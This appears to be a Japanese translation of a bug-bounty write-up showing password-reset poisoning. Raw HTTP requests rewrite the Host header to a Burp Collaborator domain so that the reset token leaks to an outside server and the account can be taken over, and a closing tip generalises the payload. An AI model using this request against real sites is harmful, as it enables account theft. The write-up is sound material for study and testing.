ソース:
脆弱性:ATO
訳:
サブドメインをテストしていて、そのパスワードのリセット機能に気づきました。
URL は次のような感じでした。
target.com/reset-password
私はすぐに電子メールを入力しました。
この特定のデモンストレーションでは、それが abc@d.com だったとします。
私はすぐに BurpSuite を起動し、リクエストをキャプチャしました。
リクエストは次のようなものでした。
POST /reset-password HTTP/1.1
Host: target.com
Connection: close
Content-Length: 153
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="99", "Brave";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://target.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://target.com/reset-password
Cookie: passedAgeGate=1; PHPSESSID=e06te8j4gqus9kcsjq2n6okpsb
reset_password_request_form%5Bemail%5D=abc@d.com&reset_password_request_form%5B_token%5D=IAnrYXeFLk6hzMluvOJlPFyMJlwIvvR9ROgUmS0Ls6I
ここで私がやったことは、Burp CollaboratorクライアントタブからBurp Collaboratorクライアントをコピーし、ヘッダーの 「Host」 を次のように変更することでした。
Host: target.com.burpcollaboratorclient.com
したがって、最終的なリクエストは次のようになります。
POST /reset-password HTTP/1.1
Host: target.com.burpcollaboratorclient.com
Connection: close
Content-Length: 153
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="99", "Brave";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://target.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://target.com/reset-password
Cookie: passedAgeGate=1; PHPSESSID=e06te8j4gqus9kcsjq2n6okpsb
reset_password_request_form%5Bemail%5D=abc@d.com&reset_password_request_form%5B_token%5D=IAnrYXeFLk6hzMluvOJlPFyMJlwIvvR9ROgUmS0Ls6I
リクエストを送信すると、 「200 OK」 という応答が返されました。
ここで自分の電子メール アカウントにアクセスして確認すると、次のようなパスワード リセット リンクが送信されていました。
すぐにリンクをクリックすると、次のように表示されます。
トークンを盗む時が来ました。 Burp Collaborator Client タブに戻り、 Poll Now をクリックしてビンゴ! いくつかの HTTP リクエストと DNS リクエストを受け取りました。 HTTP リクエストの 1 つをクリックすると、以下に示すようにリクエストでトークンが漏洩していました。
ここで、すぐにトークンをコピーし、次の URL に移動しました。
https://target.com/reset/token
次のような新しいパスワードを入力できるページに移動しました。
新しいパスワードを入力し、「パスワードをリセット」をクリックしました。
次に、ログインページに移動して、メールアドレスと新しいパスワードを入力すると、アカウントに正常にログインできました。
プロのヒント: パスワード リセット ポイズニングをテストするときは、必ず [ホスト] の値を target.com.yourserver.com に変更してください。
ほなほな。